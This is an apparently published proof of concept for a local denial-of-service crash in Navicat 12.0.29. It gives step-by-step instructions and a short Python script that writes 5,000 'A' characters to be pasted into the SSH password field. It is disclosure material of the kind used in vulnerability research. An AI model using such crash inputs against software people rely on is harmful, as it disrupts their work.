Navicat 12.0.29 - 'SSH' Denial of Service (PoC)

# Exploit Title: Navicat 12.0.29 - 'SSH' Denial of Service (PoC)
# Author: Rafael Alfaro
# Discovery Date: 2018-10-27
# Vendor Homepage: https://www.navicat.com/es/
# Software Link : https://www.navicat.com/es/download/navicat-premium
# Vulnerability Type: Denial of Service (DoS) Local
# Tested on OS: Windows 7 x64 en, Windows 10 Home x64 es

# Steps to Produce the Crash:
# 1.- Run python code : python Navicat-SSH.py
# 2.- Open navicat.txt and copy content to clipboard
# 3.- Open navicat.exe
# 4.- Click "Conexion" and select "MySQL..."
# 5.- In the "General" tab, give a name to the connection in "Nombre de Conexion" (i. e. conexion1).
# 6.- In the "SSH" tab check "Uso de tunel SSH", then set and IP address to the "Host" textbox (i. e. 127.0.0.1) and write down a username in "Nombre de usuario" (i. e. admin).
# 7.- Be sure that "Metodo de autentificacion" is set to "Contrasena" and finally paste Clipboard in "Contrasena".
# 8.- Click "Aceptar".
# 9.- Crashed!

# !/usr/bin/env python Navicat-SSH.py

buffer = "\x41" * 5000
f = open("navicat.txt", "w")
f.write(buffer)
f.close()